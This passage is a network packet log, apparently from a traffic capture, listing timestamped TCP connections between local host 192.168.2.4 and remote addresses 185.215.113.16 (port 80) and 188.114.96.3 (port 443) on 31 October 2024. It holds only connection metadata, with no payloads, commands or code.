Oct 31, 2024 03:04:33.200968027 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201004982 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201037884 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201049089 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201061010 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201071024 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201082945 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201100111 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201132059 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201139927 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201174021 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201308012 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201319933 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201329947 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201353073 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201354027 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201376915 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201383114 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201411963 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201431036 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201432943 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201469898 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201472998 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201512098 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201545954 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201558113 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201569080 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201591969 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201622009 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201664925 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201675892 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201709032 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201716900 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201725960 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201736927 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201754093 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201786995 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201806068 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201817036 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201827049 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201838970 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.201850891 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201870918 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201899052 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.201982021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202025890 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202028036 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.202035904 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202066898 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.202074051 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202085018 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202095032 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202119112 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.202140093 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.202280045 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202291012 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202300072 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202328920 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.202357054 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.202397108 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202408075 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202418089 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202445030 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202450037 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.202456951 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202481985 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.202513933 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.202609062 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202620029 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202647924 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202651024 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.202657938 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202672958 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202702999 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.202722073 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.202838898 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202888012 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.202899933 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202908993 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202919006 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202943087 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.202944040 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202961922 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.202967882 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.202972889 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.203000069 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.203018904 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.203185081 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.203196049 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.203207970 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.203218937 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.203241110 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.203242064 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.203269958 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.233800888 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.233813047 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.233822107 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.233831882 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.233841896 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.233853102 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.233864069 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.233874083 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.233896017 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.233930111 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.233939886 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.233952045 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.233979940 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.234158039 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.234388113 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.273348093 CET	443	63922	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:33.273442984 CET	63922	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:33.274785995 CET	63922	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:33.274794102 CET	443	63922	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:33.275023937 CET	443	63922	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:33.276324987 CET	63922	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:33.276452065 CET	63922	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:33.276484013 CET	443	63922	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:33.276593924 CET	63922	443	192.168.2.4	188.114.96.3
Oct 31, 2024 03:04:33.276602030 CET	443	63922	188.114.96.3	192.168.2.4
Oct 31, 2024 03:04:33.279071093 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.279093027 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.279105902 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.279119015 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.279131889 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.279130936 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.279141903 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.279167891 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.279177904 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.279212952 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.279222965 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.279232979 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.279244900 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.279256105 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.279284954 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.279355049 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.279365063 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.279376984 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.279397964 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.279412985 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.279433966 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.279571056 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.279613972 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.279618979 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.279623985 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.279634953 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.279654026 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.279681921 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.309393883 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309405088 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309416056 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309468985 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309478045 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309480906 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.309488058 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309508085 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309520006 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.309530020 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309551954 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.309572935 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.309673071 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309685946 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309700966 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309712887 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309730053 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.309731007 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309758902 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.309771061 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309777021 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.309781075 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309815884 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.309878111 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309887886 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309900045 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309911013 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.309916019 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.309951067 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.318562031 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.318573952 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.318584919 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.318636894 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.318656921 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.319554090 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.319566011 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.319575071 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.319611073 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.319617033 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.319622993 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.319633961 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.319648027 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.319669962 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.319677114 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.319686890 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.319709063 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.319717884 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.319729090 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.319751978 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.319983959 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.319993973 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320003986 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320036888 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.320053101 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.320061922 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320072889 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320084095 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320111036 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.320137024 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.320235968 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320246935 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320256948 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320267916 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320281982 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.320291042 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320312023 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.320331097 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.320359945 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320393085 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320405006 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320405960 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.320435047 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320436001 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.320451021 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320452929 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.320478916 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.320492029 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.320647001 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320657969 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320667028 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320697069 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.320724010 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.320739031 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320750952 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320760965 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320772886 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320789099 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.320790052 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.320820093 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.320833921 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.321014881 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321026087 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321052074 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321058035 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.321063042 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321083069 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321091890 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.321094036 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321105003 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321116924 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321121931 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.321154118 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.321235895 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321279049 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321283102 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.321289062 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321326017 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.321362019 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321372986 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321382999 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321405888 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.321424007 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.321543932 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321553946 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321564913 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321590900 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.321607113 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321618080 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321619034 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.321629047 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321639061 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321650982 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.321681976 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.321831942 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321842909 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321852922 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321868896 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.321882963 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.321897984 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.321938038 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.321969986 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.322011948 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.322268963 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.322312117 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.352560997 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.352572918 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.352585077 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.352606058 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.352617979 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.352627993 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.352660894 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.352694988 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.352701902 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.352710962 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.352741957 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.352771997 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.352782965 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.352792978 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.352802038 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.352828026 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.352837086 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.352855921 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.352889061 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.352935076 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.352972031 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.397777081 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.397788048 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.397799015 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.397826910 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.397840977 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.397851944 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.397862911 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.397886038 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.397912979 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.397975922 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.397988081 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.397996902 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.398019075 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.398039103 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.398107052 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.398116112 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.398127079 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.398139000 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.398149967 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.398159027 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.398160934 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.398191929 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.398210049 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.428388119 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.428447962 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.428505898 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.428505898 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.428527117 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.428539991 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.428551912 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.428575039 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.428589106 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.428607941 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.428622961 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.428654909 CET	63886	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:33.428755999 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.428797960 CET	80	63886	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:33.428817034 CET	63886	80	192.168.2.4	185.215.113.16
